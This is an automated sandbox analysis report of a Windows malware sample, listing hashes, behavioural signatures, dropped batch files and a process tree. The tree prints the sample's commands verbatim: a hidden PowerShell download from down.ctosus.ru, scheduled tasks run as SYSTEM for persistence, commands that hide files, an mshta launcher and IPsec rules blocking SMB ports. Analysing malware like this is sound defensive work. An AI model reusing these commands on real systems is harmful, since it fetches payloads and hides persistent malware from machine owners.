Analysis
- max time kernel
121s - max time network
121s - platform
windows7_x64 - resource
win7-20240508-en - resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system - submitted
26/05/2024, 02:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
Resource
win7-20240508-en
12 signatures
150 seconds
General
- Target 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
- Size 257KB
- Sample240526-dffwssdb75
- SHA256 28e1b6cf6980b009867b8919f68f41203e6796e1f95c3f82c17cf1c5d8ac5b68
- MD5 741f83e8cec69b1fe32dc48eb147e6cd
- SHA1 08e9edcdc15dd687743d3bd8950b217f6e830f8d
- SHA512 0999894f9a2b589023fd731ee4b0cbdaf3708a5a325161e42e9e7dff123459b43b3c27fa95dbe614392fc6cf3698ed1ee41eb6d26f015f719a612361bf2a4851
- SSDEEP 6144:PsCwu+mWhJifvtNP/7YXSLB80PetF5UhR3prt:kxmIJQvPkitegR3pJ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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exe.dropper
http://down.ctosus.ru/wget.exe
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2948 powershell.exe - Sets file to hidden 1 TTPs 6 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2960 attrib.exe 2176 attrib.exe 1608 attrib.exe 1132 attrib.exe 2836 attrib.exe 2848 attrib.exe - Drops file in Windows directory 30 IoCs
description ioc Process File opened for modification C:\Windows\debug\SYSTEM\settings 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\start.bat attrib.exe File opened for modification C:\Windows\debug\SYSTEM\start2.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\hosts 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\start.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\open.bat attrib.exe File opened for modification C:\Windows\debug\SYSTEM\qc.bat attrib.exe File created C:\Windows\debug\SYSTEM\start2.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\install3.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\qc.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\install3.bat attrib.exe File opened for modification C:\Windows\debug\SYSTEM\down.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\hosts 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\install3.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\open.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\debug\SYSTEM\start.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\qc.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\settings 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\hosts attrib.exe File opened for modification C:\Windows\Tasks\hook attrib.exe File created C:\Windows\debug\SYSTEM\__tmp_rar_sfx_access_check_259399648 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\start2.bat attrib.exe File opened for modification C:\Windows\debug\SYSTEM attrib.exe File created C:\Windows\debug\SYSTEM\down.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File created C:\Windows\debug\SYSTEM\open.bat 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe File opened for modification C:\Windows\debug\SYSTEM\down.bat attrib.exe File opened for modification C:\Windows\debug\SYSTEM\settings attrib.exe File created C:\Windows\debug\SYSTEM\wget.exe powershell.exe File opened for modification C:\Windows\debug\SYSTEM 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe - Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 800 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2140 schtasks.exe 2688 schtasks.exe - Kills process with taskkill 2 IoCs
pid Process 2536 taskkill.exe 2528 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main mshta.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2948 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2536 taskkill.exe Token: SeDebugPrivilege 2528 taskkill.exe Token: SeDebugPrivilege 2948 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1500 wrote to memory of 2352 1500 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe 28 PID 1500 wrote to memory of 2352 1500 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe 28 PID 1500 wrote to memory of 2352 1500 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe 28 PID 1500 wrote to memory of 2352 1500 741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe 28 PID 2352 wrote to memory of 2744 2352 cmd.exe 30 PID 2352 wrote to memory of 2744 2352 cmd.exe 30 PID 2352 wrote to memory of 2744 2352 cmd.exe 30 PID 2352 wrote to memory of 2744 2352 cmd.exe 30 PID 2352 wrote to memory of 2904 2352 cmd.exe 31 PID 2352 wrote to memory of 2904 2352 cmd.exe 31 PID 2352 wrote to memory of 2904 2352 cmd.exe 31 PID 2352 wrote to memory of 2904 2352 cmd.exe 31 PID 2352 wrote to memory of 2520 2352 cmd.exe 32 PID 2352 wrote to memory of 2520 2352 cmd.exe 32 PID 2352 wrote to memory of 2520 2352 cmd.exe 32 PID 2352 wrote to memory of 2520 2352 cmd.exe 32 PID 2352 wrote to memory of 2740 2352 cmd.exe 33 PID 2352 wrote to memory of 2740 2352 cmd.exe 33 PID 2352 wrote to memory of 2740 2352 cmd.exe 33 PID 2352 wrote to memory of 2740 2352 cmd.exe 33 PID 2352 wrote to memory of 2536 2352 cmd.exe 34 PID 2352 wrote to memory of 2536 2352 cmd.exe 34 PID 2352 wrote to memory of 2536 2352 cmd.exe 34 PID 2352 wrote to memory of 2536 2352 cmd.exe 34 PID 2352 wrote to memory of 2528 2352 cmd.exe 36 PID 2352 wrote to memory of 2528 2352 cmd.exe 36 PID 2352 wrote to memory of 2528 2352 cmd.exe 36 PID 2352 wrote to memory of 2528 2352 cmd.exe 36 PID 2352 wrote to memory of 2588 2352 cmd.exe 37 PID 2352 wrote to memory of 2588 2352 cmd.exe 37 PID 2352 wrote to memory of 2588 2352 cmd.exe 37 PID 2352 wrote to memory of 2588 2352 cmd.exe 37 PID 2352 wrote to memory of 2680 2352 cmd.exe 38 PID 2352 wrote to memory of 2680 2352 cmd.exe 38 PID 2352 wrote to memory of 2680 2352 cmd.exe 38 PID 2352 wrote to memory of 2680 2352 cmd.exe 38 PID 2352 wrote to memory of 2140 2352 cmd.exe 39 PID 2352 wrote to memory of 2140 2352 cmd.exe 39 PID 2352 wrote to memory of 2140 2352 cmd.exe 39 PID 2352 wrote to memory of 2140 2352 cmd.exe 39 PID 2352 wrote to memory of 2688 2352 cmd.exe 40 PID 2352 wrote to memory of 2688 2352 cmd.exe 40 PID 2352 wrote to memory of 2688 2352 cmd.exe 40 PID 2352 wrote to memory of 2688 2352 cmd.exe 40 PID 2352 wrote to memory of 2836 2352 cmd.exe 41 PID 2352 wrote to memory of 2836 2352 cmd.exe 41 PID 2352 wrote to memory of 2836 2352 cmd.exe 41 PID 2352 wrote to memory of 2836 2352 cmd.exe 41 PID 2352 wrote to memory of 2848 2352 cmd.exe 42 PID 2352 wrote to memory of 2848 2352 cmd.exe 42 PID 2352 wrote to memory of 2848 2352 cmd.exe 42 PID 2352 wrote to memory of 2848 2352 cmd.exe 42 PID 2352 wrote to memory of 2960 2352 cmd.exe 43 PID 2352 wrote to memory of 2960 2352 cmd.exe 43 PID 2352 wrote to memory of 2960 2352 cmd.exe 43 PID 2352 wrote to memory of 2960 2352 cmd.exe 43 PID 2352 wrote to memory of 2176 2352 cmd.exe 44 PID 2352 wrote to memory of 2176 2352 cmd.exe 44 PID 2352 wrote to memory of 2176 2352 cmd.exe 44 PID 2352 wrote to memory of 2176 2352 cmd.exe 44 PID 2352 wrote to memory of 1608 2352 cmd.exe 45 PID 2352 wrote to memory of 1608 2352 cmd.exe 45 PID 2352 wrote to memory of 1608 2352 cmd.exe 45 PID 2352 wrote to memory of 1608 2352 cmd.exe 45 - Views/modifies file attributes 1 TTPs 8 IoCs
pid Process 2848 attrib.exe 2960 attrib.exe 2176 attrib.exe 1608 attrib.exe 1132 attrib.exe 2588 attrib.exe 2680 attrib.exe 2836 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Windows\debug\SYSTEM\start.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\SysWOW64\netsh.exenetsh interface ip set dns ▒╛╡╪┴¼╜╙ static 114.114.114.1143⤵PID:2744
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C:\Windows\SysWOW64\netsh.exenetsh interface ip set dns ▒╛╡╪┴¼╜╙1 static 114.114.114.1143⤵PID:2904
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C:\Windows\SysWOW64\netsh.exenetsh interface ip set dns ▒╛╡╪┴¼╜╙2 static 114.114.114.1143⤵PID:2520
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C:\Windows\SysWOW64\netsh.exenetsh interface ip set dns ▒╛╡╪┴¼╜╙3 static 114.114.114.1143⤵PID:2740
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C:\Windows\SysWOW64\taskkill.exetaskkill -f /im svshost.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2536
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C:\Windows\SysWOW64\taskkill.exetaskkill -f /im svshosb.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2528
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C:\Windows\SysWOW64\attrib.exeattrib -S -H C:\ProgramData\Microsoft\test\*3⤵
- Views/modifies file attributes
PID:2588
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C:\Windows\SysWOW64\attrib.exeattrib -S -H C:\Windows\debug\SYSTEM\*3⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2680
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C:\Windows\SysWOW64\schtasks.exeschtasks /F /create /ru system /sc HOURLY /mo 12 /tn SYSTEM /tr C:\ProgramData\Microsoft\test\down.bat3⤵
- Creates scheduled task(s)
PID:2140
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C:\Windows\SysWOW64\schtasks.exeschtasks /F /create /ru system /sc HOURLY /mo 1 /tn DNS /tr C:\ProgramData\Microsoft\test\open.bat3⤵
- Creates scheduled task(s)
PID:2688
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\ProgramData\Microsoft\test3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2836
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\ProgramData\Microsoft\test\*3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2848
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\Windows\Tasks\hook3⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:2960
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\ProgramData\Microsoft\test\down.bat3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2176
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\ProgramData\Microsoft\test\open.bat3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1608
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://down.ctosus.ru/wget.exe','wget.exe');3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K start2.bat3⤵PID:1192
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C:\Windows\SysWOW64\attrib.exeattrib +S +H C:\Windows\debug\SYSTEM4⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:1132
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C:\Windows\SysWOW64\mshta.exemshta vbscript:createobject("wscript.shell").run("""install3.bat"" h",0)(window.close)4⤵
- Modifies Internet Explorer settings
PID:628 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Windows\debug\SYSTEM\install3.bat" h"5⤵PID:2488
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C:\Windows\SysWOW64\sc.exeSC QUERY ipserces6⤵
- Launches sc.exe
PID:800
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=win6⤵PID:1680
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filterlist name=Allowlist6⤵PID:2092
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filterlist name=denylist6⤵PID:2264
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=1356⤵PID:2060
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=1376⤵PID:2496
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=1386⤵PID:320
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=1396⤵PID:1060
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=4456⤵PID:1748
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=Allow action=permit6⤵PID:2964
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=deny action=block6⤵PID:1876
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny6⤵PID:2332
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=win assign=y6⤵PID:852
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Windows\debug\SYSTEM\down.bat
- Size 1KB
- SHA256 0878c3fa76769414b9ea961fc57fea63df7994080114bfe5d0e4980dd741d522
- MD5 096729fb54729b64ae1ee590add071bb
- SHA1 0b569e5c7334cb03c9c25db1bdb8a7b7bb2f8253
- SHA512 c6980f0879f7c94e04571b8a0437e78612e143f0c2ff86c7be4829bc610fdf8e9be9198e67c45d05c31a277ae27171c3582fc5c7b33a7dd6978f1373d3303d51
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\hosts
- Size 1KB
- SHA256 bea588292363bdaddd7964235da7fce900bcf83febee041909b8bae59bdf0490
- MD5 56c1e9bf1194f469332ba1fa136623b7
- SHA1 1d7cf7a42013b5be07d32a8cc8e0925a43199843
- SHA512 0fb43a746c58f69db4cbd0b94181c6432d22e7d400156b69263da71999449202ada8118a9277e3fc0503867de8c9be974196e8513ee8b16090ec051abfb454ef
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\install3.bat
- Size 1KB
- SHA256 48cf7b45778212319ec4725b33c61478020625d87b89420e74739505f6178570
- MD5 0a264461649cf53befa5b054d0cee13c
- SHA1 8fc653f83063f229dbaaef8f7ae162ff5effec8c
- SHA512 b207b2882d479cbd8cc51009b19c26309748c1814b37977ab7bc0db9b5305c61f1f933833a69b5efdadfcec784cd64df28545a20e3a712f73d67a09d43713162
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\open.bat
- Size 699B
- SHA256 2f9e7abc4583e6214de3a7b2834f6e47cd84d472eb7404d5ee31248e42d0c04d
- MD5 aba73ab9033b0d516c0c84a259bad000
- SHA1 5ecd89f67f9af314449178998ab1e2f96641dfb7
- SHA512 ea0d60c8ca85eecc12b171aeb92527419b0a86b84200f642d5a05606839c8257b027833e8205176fcc5024f2cc4964576a15687a1f8122c588e1eac8504f0a61
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\qc.bat
- Size 1KB
- SHA256 976a4ee812dd888062b32f1a17177ce501ab918b9d9189c8cb9ced13161772b9
- MD5 4b2f1a42c5f7ab66ef5f7e23a62aa185
- SHA1 5380a1a70662f1a89f4b5155fe653145d1531693
- SHA512 a6a24d8e9fff2f5452f4b775b75224b126a32c059b205f2406a70ab5ee85e9e2c1fa388ca58f387aa804a968fdd5838d7c51881992d72228450cd7601d1d4a6d
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\settings
- Size 479B
- SHA256 1453103c177734f5e9387e4930559df050ea5049dadba447b344c5d94661a524
- MD5 031bc696c857d63cf93cdffec7c8b748
- SHA1 fbd5b9a024de67c070f5fa67a65c2a20b6a0e507
- SHA512 1f0c1a7ab3b28613bfcb89b46aa3e80992f57d971e83ed7b6ebc32c81a11d68486a4d3267eb96ea281d4929f11ee20b0fe8ddd8109d840202924338ed1109d51
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\start.bat
- Size 1KB
- SHA256 c6b7fba230db87296373b01eaf3b3f0c026985ff22ce0eaa3e4b8ed65086b3f2
- MD5 cef23a738c0a01e02b62581b6eddd43f
- SHA1 b6ba7afc92d9ce6c57271b5e83cc695dff0dfaa7
- SHA512 034d7b890f4a691ddedd8caaae94977c86687a4209b98937d5719fe962cb8f81bb5ac9450a3eeeee9308d6b3b8336327de2007e3f68e22de6f597d1514de8752
- MD5 SHA1 SHA512
- Path C:\Windows\debug\SYSTEM\start2.bat
- Size 605B
- SHA256 47c6c38e8edb6e37fdc9d920bcd847da3bb7c51facda3a04eaff30b78177d316
- MD5 100ce4525a4d225844471e99a18fa019
- SHA1 bc17ab2965e017287ed25860f4d0f32c93259b0a
- SHA512 4242fc72509f40eedbb459db53001a59a579b9d59b7817049be589d6906f5c89e6ea7e2e29beecda5a690ca181d214c941bf0beaaff0d8da88b316424dfd6672
- MD5 SHA1 SHA512